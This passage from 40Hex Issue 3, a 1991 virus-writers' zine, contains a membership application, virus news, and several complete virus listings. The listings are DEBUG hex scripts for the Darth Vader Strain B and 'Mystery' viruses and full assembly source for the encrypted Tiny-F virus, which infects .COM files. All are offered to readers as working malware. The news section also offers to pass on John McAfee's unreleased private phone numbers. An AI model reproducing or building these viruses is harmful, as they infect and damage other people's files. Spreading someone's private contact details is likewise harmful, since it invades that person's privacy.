Do you realize that being untruthfull to the above question
|
||
waviers all legal matters: ____
|
||
Are you in anyway connected to any software company? ___
|
||
|
||
List three people you know (handles) : _________________
|
||
_________________
|
||
_________________
|
||
|
||
List three BBS that you have elite access to:
|
||
|
||
Name: _____________________ Dialup: _______________________
|
||
Name: _____________________ Dialup: _______________________
|
||
Name: _____________________ Dialup: _______________________
|
||
|
||
Thank you.
|
||
|
||
Please upload this applcation to one of the SKISM distribution site
|
||
mentioned in the first file of this archive.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
40Hex Issue 3 0006
|
||
|
||
Virus News
|
||
|
||
10/91
|
||
-----
|
||
|
||
Well the virus world is going as good as ever, dispite the over 20
|
||
virus scanners/removers out there.
|
||
|
||
The October 28th issue of PC-Magazine did a huge artical on the newest
|
||
virus scanner/defense systems. Mentioned in the artical were SKISM-1
|
||
and Captian Trips.
|
||
|
||
There is a new catagory of viruses out there, DIR-2 viruses. Havent
|
||
located one as of yet, but hope to in the near future.
|
||
|
||
Bogus SCANS continue to surface in the public domain. As if SCAN 82
|
||
was not played with enough, there have been many reports of bogus
|
||
versions SCAN 84. Most of which contian trojan bombs and will distroy
|
||
the FAT table or boot sector of you hard disk upon execution.
|
||
|
||
I have the unreleased phone numbers of John Mcafee. Including his
|
||
private office, home, and fax numbers. Get a hold of me somehow and I
|
||
will get them to you.
|
||
|
||
Theres a bogus version of the Red Cross virus going around on h/p
|
||
boards. The first command is to terminate the program. Things people
|
||
do for credit these days.
|
||
|
||
In case you haven't yet heard Patti Hoffmans VSUM, virus information
|
||
summary is now a giant hyper-text database. It's really a good
|
||
program, check it out. Can't wait to see a bogus version of that
|
||
going around.
|
||
|
||
That's it for no - till later.
|
||
|
||
40Hex Issue 3 0007
|
||
|
||
The Darth Vader Virus Strain B
|
||
|
||
The Darth Vader virus is pretty cool because it is a little
|
||
differnt than most other viruses. Instead of going resident
|
||
and infecting all programs run, it infects the stack space
|
||
of all .COM files, as they are copied. Pretty cool, huh?
|
||
|
||
This virus only infects .COM files with a stack space equal
|
||
to its own size.
|
||
|
||
It's orgin is Bulgeria, hmmm, has Bulgeria become the virus
|
||
captial of the world all of a sudden???
|
||
|
||
Well here it is, enjoy.
|
||
|
||
------------------------------------------------------------------------------
|
||
n darth-2.com
|
||
e 0100 E8 00 00 5E 83 EE 03 89 36 F0 00 A3 FE 00 31 C0
|
||
e 0110 8E D8 8E 06 AE 00 B8 00 90 8E D8 31 FF 47 81 FF
|
||
e 0120 00 0F 77 58 57 31 F6 B9 58 01 F3 A6 5F E3 02 EB
|
||
e 0130 EC 2E 8B 36 F0 00 2E 89 3E F2 00 0E 1F B9 58 01
|
||
e 0140 F3 A4 06 1F 8B F7 46 74 33 56 AD 93 AC 81 FB 36
|
||
e 0150 FF 74 03 5E EB F0 3C 16 75 F9 5E 56 2E 8B 3E F2
|
||
e 0160 00 89 3E 04 00 81 C7 41 01 A5 A5 A4 5F B0 9A AA
|
||
e 0170 B8 95 00 2E 03 06 F2 00 AB 8C C0 AB 0E 0E 1F 07
|
||
e 0180 BF 00 01 57 8B 36 F0 00 81 C6 47 01 A5 A4 A1 FE
|
||
e 0190 00 C3 E9 9C 00 2E 8C 1E 0A 00 2E 89 16 0C 00 2E
|
||
e 01A0 89 0E 0E 00 50 53 51 06 56 57 80 FC 40 75 E3 81
|
||
e 01B0 F9 68 01 72 DD B8 20 12 CD 2F 26 8A 1D B8 16 12
|
||
e 01C0 CD 2F 83 C7 28 0E 1F BE 4A 01 03 36 04 00 B9 03
|
||
e 01D0 00 F3 A6 75 5C 1E 07 2E 8E 1E 0A 00 2E 8B 36 0C
|
||
e 01E0 00 BF 47 01 2E 03 3E 04 00 A5 A4 B8 00 90 8E C0
|
||
e 01F0 2E 8B 0E 0E 00 31 FF 46 49 74 36 51 56 B9 58 01
|
||
e 0200 F3 A6 5E E3 03 59 EB ED 59 56 1E 2E 8E 06 0A 00
|
||
e 0210 2E 8B 3E 0C 00 B0 E9 AA 2E 2B 36 0C 00 83 EE 03
|
||
e 0220 8B C6 AB 07 5F 0E 1F 2E 8B 36 04 00 B9 58 01 F3
|
||
e 0230 A4 5F 5E 07 59 5B 58 2E 8B 16 0C 00 2E 8E 1E 0A
|
||
e 0240 00 00 00 00 00 00 CB CD 20 90 43 4F 4D 44 61 72
|
||
e 0250 74 68 20 56 61 64 65 72 90 1A 1A 1A 1A 1A 1A 1A
|
||
rcx
|
||
159
|
||
w
|
||
q
|
||
-------------------------------------------------------------------------------
|
||
|
||
|
||
40Hex Issue 3 0008
|
||
|
||
Mystery Virus
|
||
|
||
|
||
Actually I do know what this virus is, but being Halloween time
|
||
and all I thought I'd let you find out for yourself.
|
||
|
||
-------------------------------------------------------------------------------
|
||
n mystery.com
|
||
e 0100 E9 4B 00 CD 21 2E 56 53 2E 00 8C C3 83 C3 10 2E
|
||
e 0110 03 9C 3C 07 2E 89 9C 32 00 2E 8B 9C 3A 07 2E 89
|
||
e 0120 9C 30 00 8C C3 83 C3 10 2E 03 9C 40 07 8E D3 2E
|
||
e 0130 8B A4 3E 07 EA 00 00 00 00 BF 00 01 81 C6 42 07
|
||
e 0140 A4 A5 8B 26 06 00 33 DB 53 FF 64 F5 00 07 E8 00
|
||
e 0150 00 5E 83 EE 4C FC 2E 81 BC 42 07 4D 5A 74 0E FA
|
||
e 0160 8B E6 81 C4 FC 08 FB 3B 26 06 00 73 CC 2E C6 84
|
||
e 0170 76 00 C5 50 06 56 1E 0E 1F B8 00 C5 CD 21 3D 31
|
||
e 0180 67 75 04 07 E9 AB 00 07 B4 49 CD 21 BB FF FF B4
|
||
e 0190 48 CD 21 81 EB E8 00 73 03 E9 96 00 8C C1 F9 13
|
||
e 01A0 CB B4 4A CD 21 BB E7 00 F9 26 19 1E 02 00 06 8E
|
||
e 01B0 C1 B4 4A CD 21 8C C0 48 8E D8 C7 06 01 00 08 00
|
||
e 01C0 E8 E1 05 8B D8 8B CA 1F 8C D8 E8 D7 05 03 06 06
|
||
e 01D0 00 83 D2 00 2B C3 1B D1 72 04 29 06 06 00 1E 0E
|
||
e 01E0 2E C6 84 F5 00 62 33 FF 8E DF 1F B9 95 07 90 F3
|
||
e 01F0 A4 26 C7 06 49 07 00 00 B8 00 62 CD 21 8E DB 8B
|
||
e 0200 3E 08 00 8B DF 8B 3E 06 00 47 8E DB 8B 5D 02 8B
|
||
e 0210 3D 83 C7 1A 26 89 1E 93 07 8C C1 8E C3 FA B8 EA
|
||
e 0220 00 AA B8 38 03 AB 8B C1 AB 8E C1 26 89 3E 91 07
|
||
e 0230 FB 07 B8 00 2A CD 21 3A D6 74 14 E9 8D 00 69 62
|
||
e 0240 6D 40 40 53 4E 53 20 20 20 20 20 20 20 20 20 0E
|
||
e 0250 1F 5E 56 2E C6 84 68 01 CD B0 02 B9 01 00 33 D2
|
||
e 0260 2E C6 84 69 01 25 8B DE 81 C3 26 03 56 2D 4C 5A
|
||
e 0270 5E 72 58 06 1E 07 2E C6 84 B1 01 26 2E C6 84 B0
|
||
e 0280 01 CD 8B FB 81 C7 F3 01 56 8B F3 83 C6 0B B9 09
|
||
e 0290 00 83 3C 00 74 16 F3 A4 5E 8B FB 83 C7 03 56 81
|
||
e 02A0 C6 39 01 B9 11 00 AC 2C 20 AA E2 FA 5E 56 33 D2
|
||
e 02B0 B0 02 B9 01 00 0C 1B 58 5E 07 72 0F 0E 1F 58 1F
|
||
e 02C0 B8 03 C5 CD 21 58 B8 00 4C CD 21 5E 07 58 06 1F
|
||
e 02D0 2E 81 BC 42 07 4D 5A 75 03 E9 2E FE E9 5A FE 50
|
||
e 02E0 53 51 52 56 57 06 1E 0E 1F 80 3E 39 07 01 75 2A
|
||
e 02F0 B8 03 00 CD 10 C6 06 35 07 09 C6 06 38 07 00 C6
|
||
e 0300 06 36 07 00 C6 06 37 07 00 C6 06 33 07 00 C6 06
|
||
e 0310 39 07 00 90 C7 06 31 07 D2 06 80 3E 33 07 01 75
|
||
e 0320 03 E9 D5 00 80 3E 30 07 00 74 07 FE 0E 30 07 E9
|
||
e 0330 C7 00 8B 1E 31 07 83 3F FF 75 13 E4 61 24 FC E6
|
||
e 0340 61 C6 06 34 07 00 C6 06 33 07 01 E9 AB 00 80 3E
|
||
e 0350 34 07 01 75 03 E9 92 00 B0 B6 E6 43 8A 47 02 A2
|
||
e 0360 30 07 C6 06 34 07 01 8B 1F B8 DD 34 BA 12 00 F7
|
||
e 0370 F3 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 83 06 31
|
||
e 0380 07 03 8A 36 37 07 8D 36 A5 06 B9 03 00 80 3E 35
|
||
e 0390 07 0F 7E 09 C6 06 35 07 09 90 EB 0E 90 80 3E 35
|
||
e 03A0 07 09 73 06 C6 06 35 07 0F 90 8A 1E 35 07 8A 16
|
||
e 03B0 36 07 E8 4D 00 FE C6 E2 F1 80 06 36 07 02 80 3E
|
||
e 03C0 38 07 01 74 19 80 3E 37 07 15 77 0C 80 06 37 07
|
||
e 03D0 02 FE 06 35 07 EB 22 90 C6 06 38 07 01 90 80 2E
|
||
e 03E0 37 07 02 FE 0E 35 07 EB 10 90 8A 07 A2 30 07 C6
|
||
e 03F0 06 34 07 00 83 06 31 07 01 1F 07 5F 5E 5A 59 5B
|
||
e 0400 58 CF 51 B7 00 B4 02 CD 10 B9 01 00 AC 0A C0 74
|
||
e 0410 18 2C 20 3C DF 74 04 3C DC 75 06 B9 22 00 80 C2
|
||
e 0420 21 B4 09 CD 10 FE C2 EB DC 59 C3 B0 03 CF E8 39
|
||
e 0430 01 E8 49 03 9D 80 FC 68 2E FF 2E 91 07 55 8B EC
|
||
e 0440 FF 76 06 9D 5D 9C FC 3D 00 4B 74 E2 80 FC 3C 74
|
||
e 0450 0A 80 FC 3E 74 4A 80 FC 5B 75 6F 2E 83 3E 49 07
|
||
e 0460 00 74 03 E9 A6 00 E8 B9 00 74 03 E9 9E 00 E8 0C
|
||
e 0470 03 9D E8 EB 00 73 03 E9 99 00 9C 06 0E 07 56 57
|
||
e 0480 51 50 BF 49 07 AB 8B F2 B9 41 00 AC AA 84 C0 74
|
||
e 0490 07 E2 F8 26 89 0E 49 07 58 59 5F 5E 07 9D 73 73
|
||
e 04A0 2E 3B 1E 49 07 75 65 85 DB 74 61 E8 CF 02 9D E8
|
||
e 04B0 AE 00 72 5F 9C 1E 0E 1F 52 BA 4B 07 E8 AB 00 2E
|
||
e 04C0 C7 06 49 07 00 00 5A 1F EB D3 80 FC 3D 74 35 80
|
||
e 04D0 FC 43 74 30 80 FC 56 74 2B 80 FC C5 75 2E 3C 03
|
||
e 04E0 74 06 B8 31 67 EB 37 90 1E B8 00 00 8E D8 FA C7
|
||
e 04F0 06 70 00 DA 01 8C 0E 72 00 FB 1F 2E C6 06 39 07
|
||
e 0500 01 EB 1B 90 E8 1B 00 75 03 E8 5E 00 E8 6E 02 9D
|
||
e 0510 E8 4D 00 9C 1E E8 70 02 C6 06 00 00 5A 1F 9D CA
|
||
e 0520 02 00 50 56 8B F2 AC 84 C0 74 24 3C 2E 75 F7 E8
|
||
e 0530 22 00 8A E0 E8 1D 00 3D 6F 63 74 0C 3D 78 65 75
|
||
e 0540 10 E8 10 00 3C 65 EB 09 E8 09 00 3C 6D EB 02 FE
|
||
e 0550 C0 5E 58 C3 AC 3C 43 72 06 3C 59 73 02 04 20 C3
|
||
e 0560 9C 80 FC 68 2E FF 1E 91 07 C3 1E 06 56 57 50 53
|
||
e 0570 51 52 8C DE 33 C0 8E D8 C4 06 90 00 06 50 C7 06
|
||
e 0580 90 00 26 03 8C 0E 92 00 8E DE 33 C9 B8 00 43 E8
|
||
e 0590 CE FF 8B D9 80 E1 FE 3A CB 74 07 B8 01 43 E8 BF
|
||
e 05A0 FF F9 9C 1E 52 53 B8 02 3D E8 B4 FF 72 0A 8B D8
|
||
e 05B0 E8 26 00 B4 3E E8 A8 FF 59 5A 1F 9D 73 06 B8 01
|
||
e 05C0 43 E8 9C FF 33 C0 8E D8 8F 06 90 00 8F 06 92 00
|
||
e 05D0 5A 59 5B 58 5F 5E 07 1F C3 0E 1F 0E 07 BA 95 07
|
||
e 05E0 B9 18 00 B4 3F E8 78 FF 33 C9 33 D2 B8 02 42 E8
|
||
e 05F0 6E FF 89 16 AF 07 3D 00 0B 83 DA 00 72 6C A3 AD
|
||
e 0600 07 81 3E 95 07 4D 5A 75 17 A1 9D 07 03 06 AB 07
|
||
e 0610 E8 91 01 03 06 A9 07 83 D2 00 8B CA 8B D0 EB 15
|
||
e 0620 80 3E 95 07 E9 75 44 8B 16 96 07 81 C2 03 01 72
|
||
e 0630 3A FE CE 33 C9 B8 00 42 E8 25 FF 05 00 07 90 83
|
||
e 0640 D2 00 3B 06 AD 07 75 23 3B 16 AF 07 75 1D BA B1
|
||
e 0650 07 8B F2 B9 EF 02 B4 3F E8 05 FF 72 0E 3B C8 75
|
||
e 0660 0A BF 49 00 AC AE 75 03 E2 FA C3 33 C9 33 D2 B8
|
||
e 0670 02 42 E8 EB FE A3 45 07 89 16 47 07 81 3E 95 07
|
||
e 0680 4D 5A 74 0A 05 95 09 90 83 D2 00 74 19 C3 8B 16
|
||
e 0690 AD 07 F6 DA 83 E2 0F 33 C9 B8 01 42 E8 C1 FE A3
|
||
e 06A0 AD 07 89 16 AF 07 B8 00 57 E8 B4 FE 9C 51 52 81
|
||
e 06B0 3E 95 07 4D 5A 74 05 B8 00 01 EB 07 A1 A9 07 8B
|
||
e 06C0 16 AB 07 2E C7 06 47 00 00 07 BF 3A 07 AB 8B C2
|
||
e 06D0 AB A1 A5 07 AB A1 A3 07 AB BE 95 07 A4 A5 33 D2
|
||
e 06E0 B9 49 07 90 B4 40 E8 77 FE 72 27 33 C8 75 23 8B
|
||
e 06F0 D1 B8 00 42 E8 69 FE 81 3E 95 07 4D 5A 74 15 C6
|
||
e 0700 06 95 07 E9 A1 AD 07 05 46 00 A3 96 07 B9 03 00
|
||
e 0710 EB 57 EB 5D E8 8A 00 F7 D0 F7 D2 40 75 01 42 03
|
||
e 0720 06 AD 07 13 16 AF 07 B9 10 00 F7 F1 C7 06 A9 07
|
||
e 0730 49 00 A3 AB 07 05 72 00 A3 A3 07 C7 06 A5 07 00
|
||
e 0740 01 81 06 AD 07 49 07 83 16 AF 07 00 A1 AD 07 25
|
||
e 0750 FF 01 A3 97 07 9C A1 AE 07 D0 2E B0 07 D1 D8 9D
|
||
e 0760 74 01 40 A3 99 07 B9 18 00 BA 95 07 B4 40 E8 EF
|
||
e 0770 FD 5A 59 9D 72 06 B8 01 57 E8 E4 FD C3 1E E8 07
|
||
e 0780 00 C6 06 00 00 4D 1F C3 50 53 B4 62 E8 D1 FD 8C
|
||
e 0790 C8 48 4B 8E DB F9 13 1E 03 00 3B D8 72 F5 5B 58
|
||
e 07A0 C3 A1 9D 07 BA 10 00 F7 E2 C3 FE FF FD 00 FE 40
|
||
e 07B0 75 73 73 72 40 40 40 40 40 76 89 92 95 73 8F 86
|
||
e 07C0 94 40 40 48 83 49 40 40 96 51 4E 40 51 59 59 50
|
||
e 07D0 40 FD 00 FE FC FD 00 4A 01 03 01 B8 01 0B 01 4A
|
||
e 07E0 01 06 01 72 01 01 02 9F 01 09 01 15 01 02 02 15
|
||
e 07F0 01 03 02 72 01 08 01 4A 01 05 02 26 01 01 01 4A
|
||
e 0800 01 08 02 15 01 03 02 15 01 03 03 26 01 08 02 26
|
||
e 0810 01 05 01 4A 01 01 02 72 01 08 01 72 01 04 01 72
|
||
e 0820 01 04 00 72 01 08 02 9F 01 06 02 B8 01 01 02 EE
|
||
e 0830 01 0F FF FF FF 00 00 00 01 00 00 00 00 00 00 00
|
||
e 0840 01 3A 16 D8 8E C3 8E B8 00 4C 05 00 00 00 1A 1A
|
||
|
||
rcx
|
||
74e
|
||
w
|
||
q
|
||
-------------------------------------------------------------------------------
|
||
|
||
|
||
40Hex Issue 3 0009
|
||
|
||
The Tiny-F Virus
|
||
|
||
In our first issue we gave you the source for the Tiny-B virus.
|
||
Well some people don't quit.
|
||
|
||
After months of struggling Psyco-genius decided to give
|
||
his attempts to make this a good virus over to someone who
|
||
knows what he's doning.
|
||
|
||
So Dark (mastered assembler in one week) Angel did some mods
|
||
and here we have it.
|
||
|
||
-------------------------------------------------------------------------------
|
||
tinyv SEGMENT BYTE PUBLIC 'code'
|
||
ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
|
||
|
||
ORG 100h
|
||
|
||
DOS EQU 21h
|
||
|
||
start: JMP pgstart
|
||
exlbl: db 0CDh, 20h, 7, 8, 9
|
||
pgstart:CALL tinyvir
|
||
tinyvir:
|
||
POP SI ; get SI for storage
|
||
SUB SI,offset tinyvir ; reset SI to virus start
|
||
MOV BP,[SI+blnkdat] ; store SI in BP for return
|
||
ADD BP, OFFSET exlbl
|
||
CALL endecrpt
|
||
JMP SHORT realprog
|
||
|
||
;-----------------------------------------------------------------------------
|
||
; nonencrypted subroutines start here
|
||
;-----------------------------------------------------------------------------
|
||
|
||
; PCM's encryption was stupid, mine is better - Dark Angel
|
||
endecrpt:
|
||
; Only need to save necessary registers - Dark Angel
|
||
PUSH AX ; store registers
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH SI
|
||
; New, better, more compact encryption engine
|
||
MOV BX, [SI+EN_VAL]
|
||
ADD SI, offset realprog
|
||
MOV CX, endenc - realprog
|
||
SHR CX, 1
|
||
JNC start_encryption
|
||
DEC SI
|
||
start_encryption:
|
||
MOV DI, SI
|
||
encloop:
|
||
LODSW ; DS:[SI] -> AX
|
||
XOR AX, BX
|
||
STOSW
|
||
LOOP encloop
|
||
|
||
POP SI ; restore registers
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
RET
|
||
;-----end of encryption routine
|
||
nfect:
|
||
CALL endecrpt
|
||
MOV [SI+offset endprog+3],AX; point to data
|
||
MOV AH,40H ; write instruction
|
||
LEA DX,[SI+0105H] ; write buffer loc |
|
||
MOV CX,offset endprog-105h ; (size of virus) --\|/--
|
||
INT DOS ; do it!
|
||
PUSHF
|
||
CALL endecrpt
|
||
POPF
|
||
JC outa1 ; error, bug out
|
||
RET
|
||
outa1:
|
||
JMP exit
|
||
|
||
|
||
;-----------------------------------------------------------------------------
|
||
; Unencrypted routines end here
|
||
;-----------------------------------------------------------------------------
|
||
realprog:
|
||
CLD ; forward direction for string ops
|
||
; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel
|
||
; Instead, set DTA to SI+ENDPROG+131h
|
||
MOV AH, 1Ah ; Set DTA
|
||
LEA DX, [SI+ENDPROG+131h] ; to DS:DX
|
||
INT 21h
|
||
|
||
LEA DX,[SI+fspec] ; get filespec (*.COM)
|
||
XOR CX, CX ; || (clear regs)
|
||
MOV AH,4EH ; || (find files)
|
||
mainloop: ; \||/
|
||
INT DOS ; ----\/----
|
||
JC hiccup ; no more files found, terminate virus
|
||
; Next part had to be changed to account for new DTA address - Dark Angel
|
||
LEA DX, [SI+ENDPROG+131h+30]; set file name pointer
|
||
; (offset 30 is DTA filename start)
|
||
MOV AX,3D02H ; open file
|
||
INT DOS ; do it!
|
||
MOV BX,AX ; move file handle to BX
|
||
MOV AH,3FH ; read file
|
||
LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
|
||
MOV DI,DX ; set Dest Index to area for buffer
|
||
MOV CX,0003H ; read 3 bytes
|
||
INT DOS ; do it!
|
||
CMP BYTE PTR [DI],0E9H ; check for JMP at start
|
||
JE infect ; If begins w/JMP, Infect
|
||
nextfile:
|
||
MOV AH,4FH ; set int 21 to find next file
|
||
JMP mainloop ; next file, do it!
|
||
hiccup: JMP exit
|
||
infect:
|
||
MOV AX,5700h ; get date function
|
||
INT DOS ; do it!
|
||
PUSH DX ; store date + time
|
||
PUSH CX
|
||
MOV DX,[DI+01H] ; set # of bytes to move
|
||
MOV [SI+blnkdat],DX ; " " " " " "
|
||
; Tighter Code here - Dark Angel
|
||
XOR CX,CX ; " " " " " " (0 here)
|
||
MOV AX,4200H ; move file
|
||
INT DOS ; do it!
|
||
MOV DX,DI ; set dest index to area for buffer
|
||
MOV CX,0002H ; two bytes
|
||
MOV AH,3FH ; read file
|
||
INT DOS ; do it!
|
||
CMP WORD PTR [DI],0807H ; check for infection
|
||
JE nextfile ; next file if infected
|
||
getaval: ; encryption routine starts here
|
||
; My modifications here - Dark Angel
|
||
MOV AH, 2Ch ; DOS get TIME function
|
||
INT DOS ; do it!
|
||
OR DX, DX ; Is it 0?
|
||
JE getaval ; yeah, try again
|
||
MOV word ptr [si+offset en_val], DX ; Store it
|
||
; Tighter code here - Dark Angel
|
||
XOR DX,DX ; clear regs
|
||
XOR CX,CX ; " "
|
||
MOV AX,4202H ; move file pointer
|
||
INT DOS ; do it!
|
||
OR DX,DX ; new pointer location 0?
|
||
JNE nextfile ; if no then next file
|
||
CMP AH,0FEH ; new pointer loc too high?
|
||
JNC nextfile ; yes, try again
|
||
CALL nfect
|
||
MOV AX,4200H ; move pointer
|
||
XOR CX, CX ; clear reg
|
||
MOV DX,OFFSET 00001 ; where to set pointer
|
||
INT DOS ; do it!
|
||
MOV AH,40H ; write to file
|
||
LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER
|
||
MOV CX,0002H ; two bytes (the JMP)
|
||
INT DOS ; do it!
|
||
MOV AX,5701h ; store date
|
||
POP CX ; restore time
|
||
POP DX ; restore date
|
||
INT DOS ; do it!
|
||
exit:
|
||
MOV AH,3EH ; close file
|
||
INT DOS ; do it!
|
||
|
||
; Return DTA to old position - Dark Angel
|
||
|
||
MOV AH, 1Ah ; Set DTA
|
||
MOV DX, 80h ; to PSP DTA
|
||
INT 21h
|
||
|
||
JMP BP
|
||
|
||
;-----------------------------------------------------------------------------
|
||
; encrypted data goes here
|
||
;-----------------------------------------------------------------------------
|
||
|
||
fspec LABEL WORD
|
||
DB '*.COM',0
|
||
nondata DB 'Tiny-F version 1.1' ; Program identification
|
||
DB '<15><><EFBFBD>@&<><EEB7B3>' ; author identification
|
||
DB 'Released 10-19-91' ; release date
|
||
endenc LABEL BYTE ; end of encryption zone
|
||
;-----------------------------------------------------------------------------
|
||
; nonencrypted data goes anywhere after here
|
||
;-----------------------------------------------------------------------------
|
||
|
||
blnkdat LABEL WORD
|
||
DW 0000H
|
||
|
||
; Only en_val is needed now because of new encryption mechanism
|
||
en_val DW 0h
|
||
|
||
endprog LABEL WORD
|
||
tinyv ENDS
|
||
END start
|
||
-------------------------------------------------------------------------------
|
||
40Hex Issue 3 0010
|
||
|
||
In Closing
|
||
|
||
Well that will do it for this issue. Sorry it took so damn long,
|
||
but screw it.
|
||
|
||
Next issue we will have more articals, more viruses, and all that.
|
||
|
||
We were supposed to have an interview with an Amiga virus writer
|
||
this issue but we just couldn't get it in time. Also we were
|
||
planning an interview with John Mcafee, but the same story there.
|
||
|
||
Also next issue, I hope to have the Bob Ross virus, from the
|
||
twisted mind of Dark Angel. And If I can find it, the DIR-2 virus
|
||
and The Teqeulla Virus, so I can't spell.
|
||
|
||
See you then.
|
||
|